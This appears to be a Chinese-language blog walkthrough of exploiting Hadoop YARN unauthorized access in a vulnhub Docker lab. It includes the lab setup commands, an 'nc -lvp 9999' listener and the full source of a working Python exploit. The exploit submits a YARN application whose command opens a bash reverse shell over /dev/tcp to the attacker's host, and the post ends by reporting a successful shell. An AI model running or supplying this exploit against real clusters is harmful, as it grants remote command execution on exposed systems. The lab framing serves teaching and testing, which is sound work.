Hadoop未授权访问漏洞

前言

  今天发现了一个集成靶场,官方介绍:使用vulnhub一建搭建漏洞测试靶场,官网地址

环境搭建

cd /hadoop/unauthorized-yarn/
docker-compose up -d

漏洞验证

  访问http://127.0.0.1:8088或者http://your-ip:8088,即可看到靶场
  
  输入nc -lvp 9999开启本地监听,随后使用当前目录下的exp,此exp已经是官方集成好的
  附上exp源码

#!/usr/bin/env python

import requests

target = 'http://127.0.0.1:8088/'
lhost = '192.168.2.161' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

  
  vim exploit.py后,将第6行的ip改为攻击机ip,保存退出后,python exploit.py执行后。
  
  已经成功getshell
     

查看评论 -
评论